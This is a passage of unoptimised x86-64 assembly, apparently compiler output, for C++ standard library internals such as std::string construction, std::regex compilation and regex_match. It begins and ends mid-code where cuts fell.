lea rbx, [rax+1] mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE16_M_get_allocatorEv mov rsi, rbx mov rdi, rax call _ZNSt16allocator_traitsISaIcEE8allocateERS0_m add rsp, 40 pop rbx pop rbp ret _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE8_M_limitEmm: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv sub rax, QWORD PTR [rbp-32] cmp QWORD PTR [rbp-40], rax setb al mov BYTE PTR [rbp-1], al cmp BYTE PTR [rbp-1], 0 je .L377 mov rax, QWORD PTR [rbp-40] jmp .L379 .L377: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE4sizeEv sub rax, QWORD PTR [rbp-32] .L379: leave ret _ZSt4moveIRPKcEONSt16remove_referenceIT_E4typeEOS4_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEEC2IPKcEET_S7_St6localeNSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp push r13 push r12 push rbx sub rsp, 56 mov QWORD PTR [rbp-40], rdi mov QWORD PTR [rbp-48], rsi mov QWORD PTR [rbp-56], rdx mov QWORD PTR [rbp-64], rcx mov DWORD PTR [rbp-68], r8d mov rax, QWORD PTR [rbp-40] mov edx, DWORD PTR [rbp-68] mov DWORD PTR [rax], edx mov rax, QWORD PTR [rbp-40] lea rbx, [rax+8] mov rax, QWORD PTR [rbp-64] mov rdi, rax call _ZSt4moveIRSt6localeEONSt16remove_referenceIT_E4typeEOS3_ mov rsi, rax mov rdi, rbx call _ZNSt6localeC1ERKS_ mov rax, QWORD PTR [rbp-40] mov r13d, DWORD PTR [rax] mov rax, QWORD PTR [rbp-40] lea r12, [rax+8] lea rax, [rbp-56] mov rdi, rax call _ZSt4moveIRPKcEONSt16remove_referenceIT_E4typeEOS4_ mov rbx, QWORD PTR [rax] lea rax, [rbp-48] mov rdi, rax call _ZSt4moveIRPKcEONSt16remove_referenceIT_E4typeEOS4_ mov rax, QWORD PTR [rax] mov rdx, QWORD PTR [rbp-40] lea rdi, [rdx+16] mov r8d, r13d mov rcx, r12 mov rdx, rbx mov rsi, rax call _ZNSt8__detail13__compile_nfaINSt7__cxx1112regex_traitsIcEEPKcEENSt9enable_ifIXsrNS_27__is_contiguous_normal_iterIT0_EE5valueESt10shared_ptrIKNS_4_NFAIT_EEEE4typeES8_S8_RKNSC_11locale_typeENSt15regex_constants18syntax_option_typeE jmp .L385 mov rbx, rax mov rax, QWORD PTR [rbp-40] add rax, 8 mov rdi, rax call _ZNSt6localeD1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L385: add rsp, 56 pop rbx pop r12 pop r13 pop rbp ret _ZNSaINSt7__cxx119sub_matchIPKcEEEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEEC2Ev nop leave ret _ZNSaINSt7__cxx119sub_matchIPKcEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEED2Ev nop leave ret _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEEC2ERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC2ERKS5_ nop leave ret _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED2Ev nop leave ret _ZSt11regex_matchIPKcSaINSt7__cxx119sub_matchIS1_EEEcNS2_12regex_traitsIcEEEbT_S8_RNS2_13match_resultsIS8_T0_EERKNS2_11basic_regexIT1_T2_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov QWORD PTR [rbp-32], rcx mov DWORD PTR [rbp-36], r8d mov edi, DWORD PTR [rbp-36] mov rcx, QWORD PTR [rbp-32] mov rdx, QWORD PTR [rbp-24] mov rsi, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov r8d, edi mov rdi, rax call _ZNSt8__detail17__regex_algo_implIPKcSaINSt7__cxx119sub_matchIS2_EEEcNS3_12regex_traitsIcEELNS_20_RegexExecutorPolicyE0ELb1EEEbT_SA_RNS3_13match_resultsISA_T0_EERKNS3_11basic_regexIT1_T2_EENSt15regex_constants15match_flag_typeE leave ret _ZSt9addressofIcEPT_RS0_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt11__addressofIcEPT_RS0_ leave ret _ZSt8distanceIPKcENSt15iterator_traitsIT_E15difference_typeES3_S3_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi lea rax, [rbp-8] mov rdi, rax call _ZSt19__iterator_categoryIPKcENSt15iterator_traitsIT_E17iterator_categoryERKS3_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZSt10__distanceIPKcENSt15iterator_traitsIT_E15difference_typeES3_S3_St26random_access_iterator_tag leave ret _ZNSaImEC2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImEC2Ev nop leave ret _ZN9__gnu_cxx13new_allocatorImED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt16allocator_traitsISaImEE10deallocateERS0_Pmm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZN9__gnu_cxx13new_allocatorImE10deallocateEPmm nop leave ret _ZNSt12_Destroy_auxILb1EE9__destroyIPmEEvT_S3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi nop pop rbp ret _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov edx, OFFSET FLAT:_ZTVSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EE+16 mov rax, QWORD PTR [rbp-8] mov QWORD PTR [rax], rdx nop pop rbp ret _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EED0Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt16_Sp_counted_baseILN9__gnu_cxx12_Lock_policyE2EED1Ev mov rax, QWORD PTR [rbp-8] mov esi, 16 mov rdi, rax call _ZdlPvm leave ret _ZNSt14pointer_traitsIPKcE10pointer_toERS0_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZSt9addressofIKcEPT_RS1_ leave ret _ZN9__gnu_cxx13new_allocatorIcE10deallocateEPcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-16] mov rdi, rax call _ZdlPv leave ret _ZNK9__gnu_cxx13new_allocatorIcE8max_sizeEv: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, -1 pop rbp ret _ZSt8distanceIPcENSt15iterator_traitsIT_E15difference_typeES2_S2_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi lea rax, [rbp-8] mov rdi, rax call _ZSt19__iterator_categoryIPcENSt15iterator_traitsIT_E17iterator_categoryERKS2_ mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZSt10__distanceIPcENSt15iterator_traitsIT_E15difference_typeES2_S2_St26random_access_iterator_tag leave ret .LC10: .string "basic_string::_M_construct null not valid" _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE12_M_constructIPcEEvT_S7_St20forward_iterator_tag: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZN9__gnu_cxx17__is_null_pointerIcEEbPT_ test al, al je .L411 mov rax, QWORD PTR [rbp-32] cmp rax, QWORD PTR [rbp-40] je .L411 mov eax, 1 jmp .L412 .L411: mov eax, 0 .L412: test al, al je .L413 mov edi, OFFSET FLAT:.LC10 call _ZSt19__throw_logic_errorPKc .L413: mov rdx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-32] mov rsi, rdx mov rdi, rax call _ZSt8distanceIPcENSt15iterator_traitsIT_E15difference_typeES2_S2_ mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-8] cmp rax, 15 jbe .L414 lea rcx, [rbp-8] mov rax, QWORD PTR [rbp-24] mov edx, 0 mov rsi, rcx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_M_createERmm mov rdx, rax mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEPc mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE11_M_capacityEm .L414: mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_M_dataEv mov rcx, rax mov rdx, QWORD PTR [rbp-40] mov rax, QWORD PTR [rbp-32] mov rsi, rax mov rdi, rcx call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_S_copy_charsEPcS5_S5_ mov rdx, QWORD PTR [rbp-8] mov rax, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE13_M_set_lengthEm nop leave ret _ZNSt16allocator_traitsISaIcEE8max_sizeERKS0_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNK9__gnu_cxx13new_allocatorIcE8max_sizeEv leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE7_S_moveEPcPKcm: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov QWORD PTR [rbp-24], rdx cmp QWORD PTR [rbp-24], 1 jne .L418 mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt11char_traitsIcE6assignERcRKc jmp .L420 .L418: mov rdx, QWORD PTR [rbp-24] mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt11char_traitsIcE4moveEPcPKcm .L420: nop leave ret _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE9_S_assignEPcmc: push rbp mov rbp, rsp sub rsp, 32 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov eax, edx mov BYTE PTR [rbp-20], al cmp QWORD PTR [rbp-16], 1 jne .L422 lea rdx, [rbp-20] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt11char_traitsIcE6assignERcRKc jmp .L424 .L422: movzx eax, BYTE PTR [rbp-20] movsx edx, al mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt11char_traitsIcE6assignEPcmc .L424: nop leave ret _ZSt4moveIRSt6localeEONSt16remove_referenceIT_E4typeEOS3_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZNSt8__detail8_ScannerIcED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 200 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev nop leave ret _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt14__shared_countILN9__gnu_cxx12_Lock_policyE2EED1Ev nop leave ret _ZNSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12__shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2EED2Ev nop leave ret _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt5dequeINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESaIS5_EED1Ev nop leave ret _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 304 mov rdi, rax call _ZNSt5stackINSt8__detail9_StateSeqINSt7__cxx1112regex_traitsIcEEEESt5dequeIS5_SaIS5_EEED1Ev mov rax, QWORD PTR [rbp-8] add rax, 272 mov rdi, rax call _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev mov rax, QWORD PTR [rbp-8] add rax, 256 mov rdi, rax call _ZNSt10shared_ptrINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEED1Ev mov rax, QWORD PTR [rbp-8] add rax, 8 mov rdi, rax call _ZNSt8__detail8_ScannerIcED1Ev nop leave ret _ZNSt8__detail13__compile_nfaINSt7__cxx1112regex_traitsIcEEPKcEENSt9enable_ifIXsrNS_27__is_contiguous_normal_iterIT0_EE5valueESt10shared_ptrIKNS_4_NFAIT_EEEE4typeES8_S8_RKNSC_11locale_typeENSt15regex_constants18syntax_option_typeE: push rbp mov rbp, rsp sub rsp, 464 mov QWORD PTR [rbp-424], rdi mov QWORD PTR [rbp-432], rsi mov QWORD PTR [rbp-440], rdx mov QWORD PTR [rbp-448], rcx mov DWORD PTR [rbp-452], r8d mov rax, QWORD PTR [rbp-440] sub rax, QWORD PTR [rbp-432] mov QWORD PTR [rbp-8], rax cmp QWORD PTR [rbp-8], 0 je .L433 mov rax, QWORD PTR [rbp-432] mov rdi, rax call _ZSt11__addressofIKcEPT_RS1_ jmp .L434 .L433: mov eax, 0 .L434: mov QWORD PTR [rbp-16], rax mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] lea rdi, [rdx+rax] mov ecx, DWORD PTR [rbp-452] mov rdx, QWORD PTR [rbp-448] mov rsi, QWORD PTR [rbp-16] lea rax, [rbp-416] mov r8d, ecx mov rcx, rdx mov rdx, rdi mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEEC1EPKcS6_RKSt6localeNSt15regex_constants18syntax_option_typeE mov rax, QWORD PTR [rbp-424] lea rdx, [rbp-416] mov rsi, rdx mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEE10_M_get_nfaEv lea rax, [rbp-416] mov rdi, rax call _ZNSt8__detail9_CompilerINSt7__cxx1112regex_traitsIcEEED1Ev mov rax, QWORD PTR [rbp-424] leave ret _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEEC2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZN9__gnu_cxx13new_allocatorINSt7__cxx119sub_matchIPKcEEED2Ev: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi nop pop rbp ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC2ERKS5_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EEC2ERKS5_ nop leave ret _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EE19_M_get_Tp_allocatorEv mov rdx, rax mov rax, QWORD PTR [rbp-8] mov rcx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax] mov rsi, rcx mov rdi, rax call _ZSt8_DestroyIPNSt7__cxx119sub_matchIPKcEES4_EvT_S6_RSaIT0_E mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt12_Vector_baseINSt7__cxx119sub_matchIPKcEESaIS4_EED2Ev nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 24 mov rdi, rax call _ZNSt10unique_ptrIA_bSt14default_deleteIS0_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorISt4pairIlS_INSt7__cxx119sub_matchIPKcEESaIS5_EEESaIS8_EED1Ev nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 96 mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE11_State_infoISt17integral_constantIbLb0EESt6vectorIS5_S6_EED1Ev mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorISt4pairIPKciESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev nop leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] add rax, 72 mov rdi, rax call _ZNSt6vectorISt4pairIPKciESaIS3_EED1Ev mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev nop leave ret _ZNSt8__detail17__regex_algo_implIPKcSaINSt7__cxx119sub_matchIS2_EEEcNS3_12regex_traitsIcEELNS_20_RegexExecutorPolicyE0ELb1EEEbT_SA_RNS3_13match_resultsISA_T0_EERKNS3_11basic_regexIT1_T2_EENSt15regex_constants15match_flag_typeE: push rbp mov rbp, rsp push rbx sub rsp, 328 mov QWORD PTR [rbp-296], rdi mov QWORD PTR [rbp-304], rsi mov QWORD PTR [rbp-312], rdx mov QWORD PTR [rbp-320], rcx mov DWORD PTR [rbp-324], r8d mov rax, QWORD PTR [rbp-320] add rax, 16 mov esi, 0 mov rdi, rax call _ZSteqIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEEEbRKSt10shared_ptrIT_EDn test al, al je .L444 mov eax, 0 jmp .L463 .L444: mov rax, QWORD PTR [rbp-312] mov QWORD PTR [rbp-32], rax mov rax, QWORD PTR [rbp-312] mov rdx, QWORD PTR [rbp-296] mov QWORD PTR [rax+24], rdx mov rax, QWORD PTR [rbp-320] add rax, 16 mov rdi, rax call _ZNKSt19__shared_ptr_accessIKNSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEELN9__gnu_cxx12_Lock_policyE2ELb0ELb0EEptEv mov rdi, rax call _ZNKSt8__detail9_NFA_base12_M_sub_countEv mov edx, eax mov rax, QWORD PTR [rbp-312] mov esi, edx mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_resizeEj mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rbp-40], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov QWORD PTR [rbp-104], rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov QWORD PTR [rbp-112], rax .L447: lea rdx, [rbp-112] lea rax, [rbp-104] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEEbRKNS_17__normal_iteratorIT_T0_EESF_ test al, al je .L446 lea rax, [rbp-104] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEdeEv mov QWORD PTR [rbp-48], rax mov rax, QWORD PTR [rbp-48] mov BYTE PTR [rax+16], 0 lea rax, [rbp-104] mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEppEv jmp .L447 .L446: mov rax, QWORD PTR [rbp-320] mov rdi, rax call _ZNKSt7__cxx1111basic_regexIcNS_12regex_traitsIcEEE5flagsEv mov esi, 1024 mov edi, eax call _ZNSt15regex_constantsanENS_18syntax_option_typeES0_ test eax, eax je .L448 mov eax, 1 jmp .L449 .L448: mov eax, 0 .L449: test al, al je .L450 mov rcx, QWORD PTR [rbp-312] mov r8d, DWORD PTR [rbp-324] mov rdi, QWORD PTR [rbp-320] mov rdx, QWORD PTR [rbp-304] mov rsi, QWORD PTR [rbp-296] lea rax, [rbp-288] mov r9d, r8d mov r8, rdi mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EEC1ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EE8_M_matchEv mov BYTE PTR [rbp-17], al lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb0EED1Ev jmp .L451 .L450: mov rcx, QWORD PTR [rbp-312] mov r8d, DWORD PTR [rbp-324] mov rdi, QWORD PTR [rbp-320] mov rdx, QWORD PTR [rbp-304] mov rsi, QWORD PTR [rbp-296] lea rax, [rbp-288] mov r9d, r8d mov r8, rdi mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EEC1ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE8_M_matchEv mov BYTE PTR [rbp-17], al lea rax, [rbp-288] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EED1Ev .L451: cmp BYTE PTR [rbp-17], 0 je .L452 mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rbp-56], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov QWORD PTR [rbp-120], rax mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov QWORD PTR [rbp-128], rax .L455: lea rdx, [rbp-128] lea rax, [rbp-120] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEEbRKNS_17__normal_iteratorIT_T0_EESF_ test al, al je .L453 lea rax, [rbp-120] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEdeEv mov QWORD PTR [rbp-64], rax mov rax, QWORD PTR [rbp-64] movzx eax, BYTE PTR [rax+16] xor eax, 1 test al, al je .L454 mov rax, QWORD PTR [rbp-64] mov rdx, QWORD PTR [rbp-304] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-64] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-64] mov QWORD PTR [rax], rdx .L454: lea rax, [rbp-120] mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEppEv jmp .L455 .L453: mov rax, QWORD PTR [rbp-312] mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_prefixEv mov QWORD PTR [rbp-72], rax mov rax, QWORD PTR [rbp-312] mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_suffixEv mov QWORD PTR [rbp-80], rax mov rax, QWORD PTR [rbp-72] mov BYTE PTR [rax+16], 0 mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-296] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-72] mov rdx, QWORD PTR [rbp-296] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-80] mov BYTE PTR [rax+16], 0 mov rax, QWORD PTR [rbp-80] mov rdx, QWORD PTR [rbp-304] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-80] mov rdx, QWORD PTR [rbp-304] mov QWORD PTR [rax+8], rdx jmp .L456 .L452: mov rax, QWORD PTR [rbp-312] mov esi, 0 mov rdi, rax call _ZNSt7__cxx1113match_resultsIPKcSaINS_9sub_matchIS2_EEEE9_M_resizeEj mov rax, QWORD PTR [rbp-32] mov QWORD PTR [rbp-88], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE5beginEv mov QWORD PTR [rbp-136], rax mov rax, QWORD PTR [rbp-88] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE3endEv mov QWORD PTR [rbp-144], rax .L458: lea rdx, [rbp-144] lea rax, [rbp-136] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxxneIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEEbRKNS_17__normal_iteratorIT_T0_EESF_ test al, al je .L456 lea rax, [rbp-136] mov rdi, rax call _ZNK9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEdeEv mov QWORD PTR [rbp-96], rax mov rax, QWORD PTR [rbp-96] mov BYTE PTR [rax+16], 0 mov rax, QWORD PTR [rbp-96] mov rdx, QWORD PTR [rbp-304] mov QWORD PTR [rax+8], rdx mov rax, QWORD PTR [rbp-96] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rbp-96] mov QWORD PTR [rax], rdx lea rax, [rbp-136] mov rdi, rax call 